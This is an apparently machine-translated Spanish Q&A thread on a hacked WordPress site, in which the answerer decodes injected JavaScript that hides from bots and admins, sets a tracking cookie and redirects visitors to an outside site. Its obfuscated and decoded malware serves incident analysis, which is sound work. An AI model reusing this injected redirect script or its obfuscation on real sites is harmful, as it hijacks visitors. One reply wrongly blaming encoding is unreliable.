HTML roto y comentarios insertados en el sitio web

8

Uno de los sitios de nuestros clientes se convirtió en un estado roto. La mayoría del contenido (que está en japonés) se volvió algo así: 会 案 内 (que originalmente era: 会 社 案 内. Al verificar el código, no hay ninguna pista que sea un problema de codificación, pero parece que yo que algo cambió el contenido deliberadamente.

En la parte inferior de la página, muestra estos comentarios (valores reales):

<!-- /* 15pJQhrPh3XJCUOiaQCa62html */ -->
<!-- F85FQXHZqA -->
<!-- /* 1uqjsQSyWVhmOHAEVa1i62html */ -->

Busqué en esas cadenas y parece que otros sitios muestran los mismos códigos (aunque pocos). Todos parecen pirateados, pero solo uno muestra signos "". Al recuperar el sitio web desde una copia de seguridad, puedo confirmar los comentarios donde no se encuentre.

Probablemente esta pregunta esté relacionada con esta: página HTML pirateada: ¿qué hay en el comentario que sigue al código ofuscado?

Sin embargo, estas cadenas no están codificadas de la misma manera y no se incluye JS ni la etiqueta <b1> .

No creo que sea un ramsomware ya que no está todo encriptado, me parece más vandalismo por inyección. Sobre los códigos en la parte inferior, podría ser un tipo de ID, para ver qué sitios ya se han "hecho".

Lo ejecuté en algunos sitios de comprobación de malware en línea y no mostré nada.

¿Cuál es el propósito de esto? ¿Alguien aquí sabe qué tipo de ataque es?

    
pregunta lepe 03.08.2016 - 05:46
fuente

3 respuestas

11

Después de revisar los sitios web que contenían dichos comentarios, encontré que todos ellos son sitios de Wordpress. 3 de ellos contenían un Javascript inyectado (en nuestro sitio, todo javascript se elimina de las publicaciones, por lo que quizás ese es el motivo por el que ese código no se inyectó con éxito). El código ofuscado se ve así:

  

(nueva función (String.fromCharCode (19 - 9, 126 - 8, 100 - 3, 122 - 8,   37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106   - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5 , 119 - 1, 104 - 7, 122 - 8, 38 - 6,   102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9,   48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 -   2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3,   86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8,   89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71   - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107 ...

Después de decodificarlo, se convierte en:

var key = 'hhVryOyUnI';
var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';
function xor_enc(string, key) {
  var res = '';
  for (var i = 0; i < string.length; i++) {
    res += String.fromCharCode(string.charCodeAt(i) ^
                                key.charCodeAt(i % key.length));
  }
  return res;
}

var dec = xor_enc(atob(enced), key);
(new Function(dec))();

Después de más decodificación:

(function asd() {
  var w_location = 'http://vyhub.com/css/css/';
  var cookie = 'yYjra4PCc8kmBHess1ib';

  function start() {
    var cookies = document.cookie || '';
    if (cookies.indexOf(cookie) !== -1) {
      return;
    }
    if (cookies.indexOf('wp-settings') !== -1) {
      return;
    }
    if (localStorage.getItem(cookie) === '1') {
      return;
    }
    var uagent = navigator.userAgent;
    if (!uagent) {
      return;
    }

    uagent = uagent.toLowerCase();
    if (uagent.indexOf('google') !== -1
        || uagent.indexOf('bot') !== -1
        || uagent.indexOf('crawl') !== -1
        || uagent.indexOf('bing') !== -1
        || uagent.indexOf('yahoo') !== -1) {
      return;
    }

    setTimeout(function() {
      setCookie(cookie, '123', 730);
      localStorage.setItem(cookie, '1');
      window.location = w_location;
    }, 20 * 1000);
  }
  function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
    document.cookie = c_name + '=' + c_value;
  }

  var readyStateCheckInterval = setInterval(function() {
    if (document.readyState === 'complete'
        || document.readyState == 'interactive') {
      clearInterval(readyStateCheckInterval);
      start();
    }
  }, 10);

}());

Lo que puedo obtener de ese código es:

¿No se ejecuta si un bot es el agente de usuario (por ejemplo, google, yahoo ...) o si está ejecutando como administrador / editor? (No pude encontrar información sobre la cookie de configuración de wp).

Después de 20 segundos: configura una cookie con el nombre "yYjra4PCc8kmBHess1ib" para el dominio atacado, con el valor "123" y almacena en el almacenamiento local dicha clave con el valor 1. (la clave debe ser diferente por sitio, para identificarlo)

Después de eso, redirigirá su sitio a: http://vyhub.com/css/css/

Eso es todo.

Acerca de "vyhub.com":

La página principal muestra: "¡Está funcionando ...!" Está registrado en godaddy.com, pero no hay más información disponible. El servidor se encuentra en Singapur. http://vyhub.com/css/css/ te lleva a http://loveo.com

Acerca de "loveo.com":

Es un sitio de citas ubicado y registrado en EE. UU.

Entonces, lo que veo de esto es que utilizan una vulnerabilidad de Wordpress para inyectar un JS que redirigirá a los visitantes a loveo.com.

Mal negocio ...

Problema de codificación:

El problema con la codificación podría estar relacionado con otras razones: tal vez el código que inyecta el código alteró el contenido original intencionalmente (vandalismo) o involuntariamente (no manejan muy bien el Unicode).

Acción tomada:

Los registros no mostraron nada sospechoso (hasta ahora), por lo que realizamos algunas comprobaciones de seguridad en el servidor y todo parece estar en su lugar. Una vez recuperado de una copia de seguridad, actualizamos Wordpress (estaba un poco desactualizado) + complementos y cambiamos las contraseñas.

    
respondido por el lepe 03.08.2016 - 08:41
fuente
0

Encontré este mismo script exacto en casi todas las páginas de mi sitio web. Creo que lo que sucedió es que las credenciales de la cuenta de un editor / autor se vieron comprometidas, y el hacker / bot inició sesión en mi wordpress como este usuario, y agregó este código a cada página y publicación en mi sitio.

Cómo lo descubrí:

  1. Exporté mi base de datos a un archivo .sql y realicé una búsqueda de texto para una parte del script. Más de 8500 coincidencias, aparentemente todas en la tabla wp_posts.

  2. Miré el historial de edición de cada publicación / página, y de repente hace 3 meses, hubo más de 30 ediciones por parte de un usuario que no ha estado con mi empresa en 2 años. Creo que su contraseña fue robada / comprometida.

Esperemos que esto ayude a alguien que está tratando de averiguar cómo se comprometieron.

    
respondido por el Jordan 12.10.2016 - 16:11
fuente
-2

parece que debes verificar tu codificación cuando guardas la página html,

Creo que todo se trata de su codificación, no de problemas de piratería,

no guarde su página html como codificación ANSI y guárdela como UNICODE,

luego agrega esta etiqueta meta al encabezado de tu página html:

meta charset="UTF-8"

    
respondido por el r4ym0nd PenTester 03.08.2016 - 06:55
fuente

Lea otras preguntas en las etiquetas